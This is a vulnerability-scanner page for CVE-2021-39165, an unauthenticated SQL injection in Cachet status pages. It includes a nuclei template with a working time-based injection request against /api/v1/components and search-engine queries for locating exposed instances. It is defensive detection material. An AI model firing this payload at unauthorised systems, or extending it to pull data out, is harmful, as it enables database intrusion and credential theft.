Cachet <=2.3.18 - SQL Injection

mediumseverity

6.5CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "pagination") && contains(body, "data")

Run it with nuclei: nuclei -id CVE-2021-39165 -u <target>

The full check

id: CVE-2021-39165

info:
  name: Cachet <=2.3.18 - SQL Injection
  author: tess
  severity: medium
  description: |
    Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
    - https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6
    - https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39165
    - https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-39165
    cwe-id: CWE-287
    epss-score: 0.08172
    epss-percentile: 0.94908
    cpe: cpe:2.3:a:chachethq:cachet:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: chachethq
    product: cachet
    shodan-query: http.favicon.hash:-1606065523
    fofa-query: icon_hash=-1606065523
  tags: time-based-sqli,cve,cve2021,cachet,sqli,chachethq,vuln

http:
  - raw:
      - |
        @timeout: 20s
        GET /api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "pagination") && contains(body, "data")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from